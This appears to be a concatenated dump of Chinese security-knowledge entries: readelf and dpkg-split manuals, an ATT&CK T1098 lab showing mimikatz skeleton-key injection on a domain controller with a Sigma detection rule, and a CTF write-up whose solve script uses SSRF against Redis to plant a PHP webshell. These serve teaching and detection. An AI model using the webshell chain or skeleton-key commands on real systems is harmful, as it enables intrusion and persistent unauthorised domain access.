参考资料 - [fish-shell官网](http://fishshell.com)
sec-knowleage
readelf === 用于显示elf格式文件的信息 ## 补充说明 **readelf命令** 用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。这里的elf-file(s)就表示那些被检查的文件。可以支持32位,64位的elf格式文件,也支持包含elf文件的文档(这里一般指的是使用ar命令将一些elf文件打包之后生成的例如lib*.a之类的“静态库”文件)。  这个程序和objdump提供的功能类似,但是它显示的信息更为具体,并且它不依赖BFD库(BFD库是一个GNU项目,它的目标就是希望通过一种统一的接口来处理不同的目标文件),所以即使BFD库有什么bug存在的话也不会影响到readelf程序。  运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。  ### ELF文件类型 **种类型的ELF文件:** 1. 可重定位文件:用户和其他目标文件一起创建可执行文件或者共享目标文件,例如lib*.a文件。  2. 可执行文件:用于生成进程映像,载入内存执行,例如编译好的可执行文件a.out。  3. 共享目标文件:用于和其他共享目标文件或者可重定位文件一起生成elf目标文件或者和执行文件一起创建进程映像,例如lib*.so文件。  **ELF文件作用:** ELF文件参与程序的连接(建立一个程序)和程序的执行(运行一个程序),所以可以从不同的角度来看待elf格式的文件:  1. 如果用于编译和链接(可重定位文件),则编译器和链接器将把elf文件看作是节头表描述的节的集合,程序头表可选。  2. 如果用于加载执行(可执行文件),则加载器则将把elf文件看作是程序头表描述的段的集合,一个段可能包含多个节,节头表可选。  3. 如果是共享文件,则两者都含有。  **ELF文件总体组成:**   elf文件头描述elf文件的总体信息。包括:系统相关,类型相关,加载相关,链接相关。  * 系统相关表示:elf文件标识的魔术数,以及硬件和平台等相关信息,增加了elf文件的移植性,使交叉编译成为可能。  * 类型相关就是前面说的那个类型。  * 加载相关:包括程序头表相关信息。  * 链接相关:节头表相关信息。  ### 选项 ```shell -a --all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. -h --file-header 显示elf文件开始的文件头信息. -l --program-headers --segments 显示程序头(段头)信息(如果有的话)。 -S --section-headers --sections 显示节头信息(如果有的话)。 -g --section-groups 显示节组信息(如果有的话)。 -t --section-details 显示节的详细信息(-S的)。 -s --syms --symbols 显示符号表段中的项(如果有的话)。 -e --headers 显示全部头信息,等价于: -h -l -S -n --notes 显示note段(内核注释)的信息。 -r --relocs 显示可重定位段的信息。 -u --unwind 显示unwind段信息。当前只支持IA64 ELF的unwind段信息。 -d --dynamic 显示动态段的信息。 -V --version-info 显示版本段的信息。 -A --arch-specific 显示CPU构架信息。 -D --use-dynamic 使用动态段中的符号表显示符号,而不是使用符号段。 -x <number or name> --hex-dump=<number or name> 以16进制方式显示指定段内内容。number指定段表中段的索引,或字符串指定文件中的段名。 -w[liaprmfFsoR] or --debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges] 显示调试段中指定的内容。 -I --histogram 显示符号的时候,显示bucket list长度的柱状图。 -v --version 显示readelf的版本信息。 -H --help 显示readelf所支持的命令行选项。 -W --wide 宽行输出。 @file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 ``` ### 实例 先给出如下例子: **1.对于可执行文件形式的elf格式文件:** 1)查看可执行程序的源代码如下:  ```shell root@localhost [test]$ cat main.cpp #include <iostream> using std::cout; using std::endl; void my_print(); int main(int argc, char *argv[]) { my_print(); cout<<"hello!"<<endl; return 0; } void my_print() { cout<<"print!"<<endl; } ``` 2)编译如下:  ```shell [root@localhost test]$ g++ main.cpp -o main [root@localhost test]$ g++ -g main.cpp -o main.debug ``` 3)编译之后,查看生成的文件:  ```shell [root@localhost test]$ ls -l 总计 64 -rwxr-xr-x 1 quietheart quietheart 6700 07-07 18:04 main -rw-r--r-- 1 quietheart quietheart 201 07-07 18:02 main.cpp -rwxr-xr-x 1 quietheart quietheart 38932 07-07 18:04 main.debug ``` 这里,main.debug是带有调试信息的可执行文件,main是一般的可执行文件。  **2.对于库文件形式的elf格式文件:** 1)查看库的源代码如下:  ```shell //myfile.h #ifndef __MYFILE_H #define __MYFILE_H void printInfo(); #endif //myfile.cpp #include "myfile.h" #include <iostream> using std::cout; using std::endl; void printInfo() { cout<<"hello"<<endl; } ``` 2)编译如下:  ```shell [root@localhost test]$ g++ -c myfile.cpp [root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o [root@localhost test]$ ar -r libmy.a myfile.o ar: creating libmy.a ``` 3)编译之后,查看生成的文件:  [root@localhost test]$ ls -l  总计 44  ```shell -rw-r--r-- 1 quietheart quietheart 2154 07-08 16:14 libmy.a -rwxr-xr-x 1 quietheart quietheart 5707 07-08 16:08 libmy.so -rwxr-xr-x 1 quietheart quietheart 117 07-08 16:06 myfile.cpp -rwxr-xr-x 1 quietheart quietheart 63 07-08 16:08 myfile.h -rw-r--r-- 1 quietheart quietheart 2004 07-08 16:08 myfile.o libmy.a libmy.so myfile.cpp myfile.h myfile.o ``` 这里,分别生成目标文件myfile.o,共享库文件libmy.so,和静态库文件libmy.a。  基于以上可执行文件和库,这里给出一些常用的命令。  **读取可执行文件形式的elf文件头信息:** ```shell [root@localhost test]$ readelf -h main ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 type: exec (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048580 Start of program headers: 52 (bytes into file) Start of section headers: 3232 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 40 (bytes) Number of section headers: 29 Section header string table index: 26 ``` 这里,可见可执行文件的elf文件,其类型为EXEC(可执行文件)。另外,含调试信息的"main.debug"和不含调试信息的"main"除了一些大小信息之外,其内容是一样的。并且由此可见文件的体系结构为Intel 80386。  **读取目标文件形式的elf文件头信息:** ```shell [root@localhost test]$ readelf -h myfile.o ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: REL (Relocatable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x0 Start of program headers: 0 (bytes into file) Start of section headers: 516 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 0 (bytes) Number of program headers: 0 Size of section headers: 40 (bytes) Number of section headers: 15 Section header string table index: 12 ``` 这里,可见目标文件的elf文件,其类型为REL(可重定位文件)。  **读取静态库文件形式的elf文件头信息:** ```shell [root@localhost test]$ readelf -h libmy.a File: libmy.a(myfile.o) ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: REL (Relocatable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x0 Start of program headers: 0 (bytes into file) Start of section headers: 516 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 0 (bytes) Number of program headers: 0 Size of section headers: 40 (bytes) Number of section headers: 15 Section header string table index: 12 ``` 这里,可见静态库文件的elf文件,其类型为REL(可重定位文件)。  **读取动态库文件形式的elf文件头信息:** ```shell [root@localhost test]$ readelf -h libmy.so ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x550 Start of program headers: 52 (bytes into file) Start of section headers: 2768 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 5 Size of section headers: 40 (bytes) Number of section headers: 27 Section header string table index: 24 ``` 这里,可见动态库文件的elf文件,其类型为DYN(共享目标文件)。  **查看可执行的elf文件程序头表信息:** ```shell [root@localhost test]$ readelf -l main Elf file type is EXEC (Executable file) Entry point 0x8048580 There are 8 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 Requesting program interpreter: /lib/[ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00970 0x00970 R E 0x1000 LOAD 0x000970 0x08049970 0x08049970 0x00130 0x001c8 RW 0x1000 DYNAMIC 0x000988 0x08049988 0x08049988 0x000e0 0x000e0 RW 0x4 NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4 GNU_EH_FRAME 0x000820 0x08048820 0x08048820 0x00044 0x00044 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag 06 .eh_frame_hdr 07 ``` 这里,含调试信息的"main.debug"和不含调试信息的"main"其内容是一样的。  **查看目标文件的elf文件程序头表信息: ** ```shell [root@localhost test]$ readelf -l myfile.o There are no program headers in this file. ``` 这里可知,可重定位的目标文件,它没程序头表。  **查看静态库文件的elf文件程序头表信息:** ```shell [root@localhost test]$ readelf -l libmy.a File: libmy.a(myfile.o) There are no program headers in this file. ``` 这里可知,可重定位的静态库文件,它没程序头表。  **查看动态库文件的elf文件程序头表信息:** ```shell [root@localhost test]$ readelf -l libmy.so Elf file type is DYN (Shared object file) Entry point 0x550 There are 5 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x00000000 0x00000000 0x007f4 0x007f4 R E 0x1000 LOAD 0x0007f4 0x000017f4 0x000017f4 0x0011c 0x00128 RW 0x1000 DYNAMIC 0x000810 0x00001810 0x00001810 0x000e0 0x000e0 RW 0x4 GNU_EH_FRAME 0x000738 0x00000738 0x00000738 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 Section to Segment mapping: Segment Sections... 00 .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 01 .ctors .dtors .jcr .data.rel.ro .dynamic .got .got.plt .bss 02 .dynamic 03 .eh_frame_hdr 04 ``` 这里可知,做为共享目标文件的动态库,它程序头表。  **查看一个可执行的elf文件的节信息:** ```shell [root@localhost test]$ readelf -S main There are 29 section headers, starting at offset 0xca0: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3] .gnu.hash GNU_HASH 08048168 000168 000030 04 A 4 0 4 [ 4] .dynsym DYNSYM 08048198 000198 0000d0 10 A 5 1 4 [ 5] .dynstr STRTAB 08048268 000268 000183 00 A 0 0 1 [ 6] .gnu.version VERSYM 080483ec 0003ec 00001a 02 A 4 0 2 [ 7] .gnu.version_r VERNEED 08048408 000408 000060 00 A 5 2 4 [ 8] .rel.dyn REL 08048468 000468 000010 08 A 4 0 4 [ 9] .rel.plt REL 08048478 000478 000048 08 A 4 11 4 [10] .init PROGBITS 080484c0 0004c0 000017 00 AX 0 0 4 [11] .plt PROGBITS 080484d8 0004d8 0000a0 04 AX 0 0 4 [12] .text PROGBITS 08048580 000580 000268 00 AX 0 0 16 [13] .fini PROGBITS 080487e8 0007e8 00001c 00 AX 0 0 4 [14] .rodata PROGBITS 08048804 000804 00001a 00 A 0 0 4 [15] .eh_frame_hdr PROGBITS 08048820 000820 000044 00 A 0 0 4 [16] .eh_frame PROGBITS 08048864 000864 00010c 00 A 0 0 4 [17] .ctors PROGBITS 08049970 000970 00000c 00 WA 0 0 4 [18] .dtors PROGBITS 0804997c 00097c 000008 00 WA 0 0 4 [19] .jcr PROGBITS 08049984 000984 000004 00 WA 0 0 4 [20] .dynamic DYNAMIC 08049988 000988 0000e0 08 WA 5 0 4 [21] .got PROGBITS 08049a68 000a68 000004 04 WA 0 0 4 [22] .got.plt PROGBITS 08049a6c 000a6c 000030 04 WA 0 0 4 [23] .data PROGBITS 08049a9c 000a9c 000004 00 WA 0 0 4 [24] .bss NOBITS 08049aa0 000aa0 000098 00 WA 0 0 8 [25] .comment PROGBITS 00000000 000aa0 000114 00 0 0 1 [26] .shstrtab STRTAB 00000000 000bb4 0000e9 00 0 0 1 [27] .symtab SYMTAB 00000000 001128 000510 10 28 53 4 [28] .strtab STRTAB 00000000 001638 0003f4 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) ``` 这里,main是可执行文件,不含调试信息。  **查看一个包含调试信息的可执行的elf文件的节信息:** ```shell [root@localhost test]$ readelf -S main.debug There are 37 section headers, starting at offset 0x88c8: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3] .gnu.hash GNU_HASH 08048168 000168 000030 04 A 4 0 4 [ 4] .dynsym DYNSYM 08048198 000198 0000d0 10 A 5 1 4 [ 5] .dynstr STRTAB 08048268 000268 000183 00 A 0 0 1 [ 6] .gnu.version VERSYM 080483ec 0003ec 00001a 02 A 4 0 2 [ 7] .gnu.version_r VERNEED 08048408 000408 000060 00 A 5 2 4 [ 8] .rel.dyn REL 08048468 000468 000010 08 A 4 0 4 [ 9] .rel.plt REL 08048478 000478 000048 08 A 4 11 4 [10] .init PROGBITS 080484c0 0004c0 000017 00 AX 0 0 4 [11] .plt PROGBITS 080484d8 0004d8 0000a0 04 AX 0 0 4 [12] .text PROGBITS 08048580 000580 000268 00 AX 0 0 16 [13] .fini PROGBITS 080487e8 0007e8 00001c 00 AX 0 0 4 [14] .rodata PROGBITS 08048804 000804 00001a 00 A 0 0 4 [15] .eh_frame_hdr PROGBITS 08048820 000820 000044 00 A 0 0 4 [16] .eh_frame PROGBITS 08048864 000864 00010c 00 A 0 0 4 [17] .ctors PROGBITS 08049970 000970 00000c 00 WA 0 0 4 [18] .dtors PROGBITS 0804997c 00097c 000008 00 WA 0 0 4 [19] .jcr PROGBITS 08049984 000984 000004 00 WA 0 0 4 [20] .dynamic DYNAMIC 08049988 000988 0000e0 08 WA 5 0 4 [21] .got PROGBITS 08049a68 000a68 000004 04 WA 0 0 4 [22] .got.plt PROGBITS 08049a6c 000a6c 000030 04 WA 0 0 4 [23] .data PROGBITS 08049a9c 000a9c 000004 00 WA 0 0 4 [24] .bss NOBITS 08049aa0 000aa0 000098 00 WA 0 0 8 [25] .comment PROGBITS 00000000 000aa0 000114 00 0 0 1 [26] .debug_aranges PROGBITS 00000000 000bb4 000020 00 0 0 1 [27] .debug_pubnames PROGBITS 00000000 000bd4 000028 00 0 0 1 [28] .debug_info PROGBITS 00000000 000bfc 0067aa 00 0 0 1 [29] .debug_abbrev PROGBITS 00000000 0073a6 000726 00 0 0 1 [30] .debug_line PROGBITS 00000000 007acc 0003e1 00 0 0 1 [31] .debug_frame PROGBITS 00000000 007eb0 00009c 00 0 0 4 [32] .debug_str PROGBITS 00000000 007f4c 000735 00 0 0 1 [33] .debug_loc PROGBITS 00000000 008681 0000f3 00 0 0 1 [34] .shstrtab STRTAB 00000000 008774 000151 00 0 0 1 [35] .symtab SYMTAB 00000000 008e90 000590 10 36 61 4 [36] .strtab STRTAB 00000000 009420 0003f4 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) ``` 可见,相对非调试版本的可执行文件,多了".debug*"段的信息。  **查看一个目标文件的elf文件的节信息:** ```shell [root@localhost test]$ readelf -S myfile.o There are 15 section headers, starting at offset 0x204: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 00000000 000034 00009e 00 AX 0 0 4 [ 2] .rel.text REL 00000000 000744 000060 08 13 1 4 [ 3] .data PROGBITS 00000000 0000d4 000000 00 WA 0 0 4 [ 4] .bss NOBITS 00000000 0000d4 000001 00 WA 0 0 4 [ 5] .ctors PROGBITS 00000000 0000d4 000004 00 WA 0 0 4 [ 6] .rel.ctors REL 00000000 0007a4 000008 08 13 5 4 [ 7] .rodata PROGBITS 00000000 0000d8 000006 00 A 0 0 1 [ 8] .eh_frame PROGBITS 00000000 0000e0 00008c 00 A 0 0 4 [ 9] .rel.eh_frame REL 00000000 0007ac 000028 08 13 8 4 [10] .comment PROGBITS 00000000 00016c 00002e 00 0 0 1 [11] .note.GNU-stack PROGBITS 00000000 00019a 000000 00 0 0 1 [12] .shstrtab STRTAB 00000000 00019a 00006a 00 0 0 1 [13] .symtab SYMTAB 00000000 00045c 000180 10 14 14 4 [14] .strtab STRTAB 00000000 0005dc 000166 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) ```shell **查看一个静态库文件的elf文件的节信息:** ```shell [root@localhost test]$ readelf -S libmy.a File: libmy.a(myfile.o) There are 15 section headers, starting at offset 0x204: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 00000000 000034 00009e 00 AX 0 0 4 [ 2] .rel.text REL 00000000 000744 000060 08 13 1 4 [ 3] .data PROGBITS 00000000 0000d4 000000 00 WA 0 0 4 [ 4] .bss NOBITS 00000000 0000d4 000001 00 WA 0 0 4 [ 5] .ctors PROGBITS 00000000 0000d4 000004 00 WA 0 0 4 [ 6] .rel.ctors REL 00000000 0007a4 000008 08 13 5 4 [ 7] .rodata PROGBITS 00000000 0000d8 000006 00 A 0 0 1 [ 8] .eh_frame PROGBITS 00000000 0000e0 00008c 00 A 0 0 4 [ 9] .rel.eh_frame REL 00000000 0007ac 000028 08 13 8 4 [10] .comment PROGBITS 00000000 00016c 00002e 00 0 0 1 [11] .note.GNU-stack PROGBITS 00000000 00019a 000000 00 0 0 1 [12] .shstrtab STRTAB 00000000 00019a 00006a 00 0 0 1 [13] .symtab SYMTAB 00000000 00045c 000180 10 14 14 4 [14] .strtab STRTAB 00000000 0005dc 000166 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) ``` **查看一个动态库文件的elf文件的节信息:** ```shell [root@localhost test]$ readelf -S libmy.so There are 27 section headers, starting at offset 0xad0: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .gnu.hash GNU_HASH 000000d4 0000d4 00003c 04 A 2 0 4 [ 2] .dynsym DYNSYM 00000110 000110 000120 10 A 3 1 4 [ 3] .dynstr STRTAB 00000230 000230 000199 00 A 0 0 1 [ 4] .gnu.version VERSYM 000003ca 0003ca 000024 02 A 2 0 2 [ 5] .gnu.version_r VERNEED 000003f0 0003f0 000050 00 A 3 2 4 [ 6] .rel.dyn REL 00000440 000440 0000b0 08 A 2 0 4 [ 7] .rel.plt REL 000004f0 0004f0 000010 08 A 2 9 4 [ 8] .init PROGBITS 00000500 000500 000017 00 AX 0 0 4 [ 9] .plt PROGBITS 00000518 000518 000030 04 AX 0 0 4 [10] .text PROGBITS 00000550 000550 0001c4 00 AX 0 0 16 [11] .fini PROGBITS 00000714 000714 00001c 00 AX 0 0 4 [12] .rodata PROGBITS 00000730 000730 000006 00 A 0 0 1 [13] .eh_frame_hdr PROGBITS 00000738 000738 00002c 00 A 0 0 4 [14] .eh_frame PROGBITS 00000764 000764 000090 00 A 0 0 4 [15] .ctors PROGBITS 000017f4 0007f4 00000c 00 WA 0 0 4 [16] .dtors PROGBITS 00001800 000800 000008 00 WA 0 0 4 [17] .jcr PROGBITS 00001808 000808 000004 00 WA 0 0 4 [18] .data.rel.ro PROGBITS 0000180c 00080c 000004 00 WA 0 0 4 [19] .dynamic DYNAMIC 00001810 000810 0000e0 08 WA 3 0 4 [20] .got PROGBITS 000018f0 0008f0 00000c 04 WA 0 0 4 [21] .got.plt PROGBITS 000018fc 0008fc 000014 04 WA 0 0 4 [22] .bss NOBITS 00001910 000910 00000c 00 WA 0 0 4 [23] .comment PROGBITS 00000000 000910 0000e6 00 0 0 1 [24] .shstrtab STRTAB 00000000 0009f6 0000da 00 0 0 1 [25] .symtab SYMTAB 00000000 000f08 000410 10 26 48 4 [26] .strtab STRTAB 00000000 001318 000333 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) ```
sec-knowleage
# T1098-win-万能密码 ## 来自ATT&CK的描述 帐户操作可以帮助攻击者维持在目标组织环境中对凭据或某些权限级别的访问权限。账户操作可能包括修改权限,修改凭据,添加或更改权限组,修改帐户设置或修改执行身份验证等方式。为了创建或操纵帐户,攻击者必须已经对系统或域具有足够的权限。 ## 测试案例 使用万能密码(skeleton key),可以对域内权限进行持久化操作。 ## 检测日志 windows 安全日志 ## 测试复现 ### 步骤1(PC上执行,普通域用户权限) ```dos C:\Users\xiaomi>dir \\dc.xiaomi.org\c$ 拒绝访问。 C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ "admin.098" /user:xiaomi\administra tor 命令成功完成。 C:\Users\xiaomi>dir \\dc.xiaomi.org\c$ 驱动器 \\dc.xiaomi.org\c$ 中的卷没有标签。 卷的序列号是 50E9-7D0C \\dc.xiaomi.org\c$ 的目录 2009/07/14 11:20 <DIR> PerfLogs 2020/03/23 15:24 <DIR> Program Files 2020/03/23 15:24 <DIR> Program Files (x86) 2020/03/23 14:47 <DIR> Users 2020/03/23 15:30 <DIR> Windows 0 个文件 0 字节 5 个目录 32,728,838,144 可用字节 C:\Users\xiaomi>net use 会记录新的网络连接。 状态 本地 远程 网络 ------------------------------------------------------------------------------- OK \\dc.xiaomi.org\ipc$ Microsoft Windows Network 命令成功完成。 C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ /del /y \\dc.xiaomi.org\ipc$ 已经删除。 C:\Users\xiaomi>net use 会记录新的网络连接。 列表是空的。 ``` ### 步骤2(DC上执行,管理员权限) ```dos C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug " "misc::skeleton" exit .#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 21 modules * * */ mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # misc::skeleton [KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK mimikatz(commandline) # exit Bye! ``` **系统提示Skeleton Key已经注入成功。此时,会在域内的所有账户中添加一个Skeleton key,其密码默认为“mimikatz”。接下来可以以域内任何用户的身份,配合该Skeleton Key,进行域内身份授权验证了。** ### 步骤3(PC上执行,普通域用户权限) ```dos C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ "mimikatz" /user:xiaomi\administrat or 命令成功完成。 C:\Users\xiaomi>dir \\dc.xiaomi.org\c$ 驱动器 \\dc.xiaomi.org\c$ 中的卷没有标签。 卷的序列号是 50E9-7D0C \\dc.xiaomi.org\c$ 的目录 2009/07/14 11:20 <DIR> PerfLogs 2020/03/23 15:24 <DIR> Program Files 2020/03/23 15:24 <DIR> Program Files (x86) 2020/03/23 14:47 <DIR> Users 2020/03/23 15:30 <DIR> Windows 0 个文件 0 字节 5 个目录 32,758,198,272 可用字节 ``` ## 测试留痕 windows安全事件ID,多事件关联分析 ## 检测规则/思路 ### Sigma规则 ```yml title: Windows 万能密码 description: Windows server 2008 R2\win 7 references: https://0xsp.com/ad-attack-or-defense/ad-ttps-list tags: T1098 status: 测试阶段 author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 4673 #调用权限的服务 selection2: EventID: 4611 #受信任的登录进程已在本地安全机构注册 selection3: EventID: 4688 #新进程创建 selection4: EventID: 4689 #退出进程 condition: all of them timeframe: last 5s level: medium ``` ### 建议 以上规则存在一定程度的不稳定性,谨慎使用! ## 参考推荐 MITRE-ATT&CK-T1098 <https://attack.mitre.org/techniques/T1098/>
sec-knowleage
dpkg-split === Debian Linux中将大软件包分割成小包 ## 补充说明 **dpkg-split命令** 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并。 ### 语法 ```shell dpkg-split(选项)(参数) ``` ### 选项 ```shell -S:设置分割后的每个小文件最大尺寸(以字节为单位); -s:分割软件包; -j<分块文件><分块文件>:把各个分块合并到一起; -I<分块文件>:显示分块文件的相关信息; -l:列出不匹配的部分; -dscard<文件名>:忽略不匹配的部分。 ``` ### 参数 软件包:指定需要分割的“.deb”软件包。 ### 实例 把foo.deb分割出N个大小为460KB的文件: ```shell dpkg-split -s foo.deb ``` 合并分割文件: ```shell dpkg-split -j "foo*" ```
sec-knowleage
# WebProxy * Category: Web * 300 Points * Solved by the JCTF Team ## Description > Why I got hacked!? can you help me to close this hole? > > URL: https://webproxy.ctf.bsidestlv.com/?csurl=https://stackoverflow.com/questions/8318911/why-does-html-think-chucknorris-is-a-color > > Note: please include the BSidesTLV cookie ## Solution We visit the attached website, and as expected, see the proxied webpage. Let's see what else we can find by changing the `csurl` parameter to something a bit more interesting: ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy# curl https://webproxy.ctf.bsidestlv.com/?csurl=http://127.0.0.1 ``` As a response, we get a table with the following content: | Service name: | IP Address: | Port: | | ------------- | ----------- | ----- | | Redis | 10.42.144.38 | 6379 | | NGINX + PHP | 10.42.144.38 | 80 | | NGINX + PHP | 10.42.253.181 | 80 | So, we have a Redis DB and a PHP server on the same IP! Before we continue to the Redis server, let's take a look at what the PHP server is serving: ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy# curl https://webproxy.ctf.bsidestlv.com/?csurl=http://10.42.144.38 <!DOCTYPE html> <html> <head> <title>NOTICE!!</title> </head> <body> <h1>Im removing my files every 10 seconds!!</h1> </body> </html> ``` Well, that's good to know. Makes perfect sense. Now, back to Redis. It turns out that Redis is [very forgiving](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) when it comes to accepting commands: Redis is able to ignore a good amount of "noise" and successfully execute the commands hiding inside. In our case, the "noise" is an HTTP request. [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md#ssrf-exploiting-redis) has a great recipe for exploiting this: ``` # Getting a webshell url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>" url=dict://127.0.0.1:6379/SAVE ``` So basically the plan is to use the recipe above to create a webshell, and then use it to find the flag. Here's the script: ```python import requests IP_ADDR = "10.42.144.38" SHELL_NAME = 'shell.php' def send_to_proxy(csurl): print(f"Sending request to: '{csurl}'") cookies = cookies = {'BSidesTLV': '34aa0da142bb608e2be8d1b644c25bffe6fad5a5'} r = requests.get(f"https://webproxy.ctf.bsidestlv.com/?csurl={csurl}", cookies = cookies) return r.text commands = [ r'CONFIG SET dir /var/www/html', r'CONFIG SET dbfilename {}'.format(SHELL_NAME), r'SET mykey "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"', r'SAVE' ] for command in commands: csurl = f"dict://{IP_ADDR}:6379/{command}" send_to_proxy(csurl) print(send_to_proxy(f"http://{IP_ADDR}:80/{SHELL_NAME}?command=cat $(find / -name flag.txt)")) ``` Output: ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy# python3 solve.py Sending request to: 'dict://10.42.144.38:6379/CONFIG SET dir /var/www/html' Sending request to: 'dict://10.42.144.38:6379/CONFIG SET dbfilename shell.php' Sending request to: 'dict://10.42.144.38:6379/SET mykey2 "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"' Sending request to: 'dict://10.42.144.38:6379/SAVE' Sending request to: 'http://10.42.144.38:80/shell.php?command=cat $(find / -name flag.txt)' REDIS0006 mykey BsidesTLV2020{55rf_Is_S0_C00l!!} ```
sec-knowleage
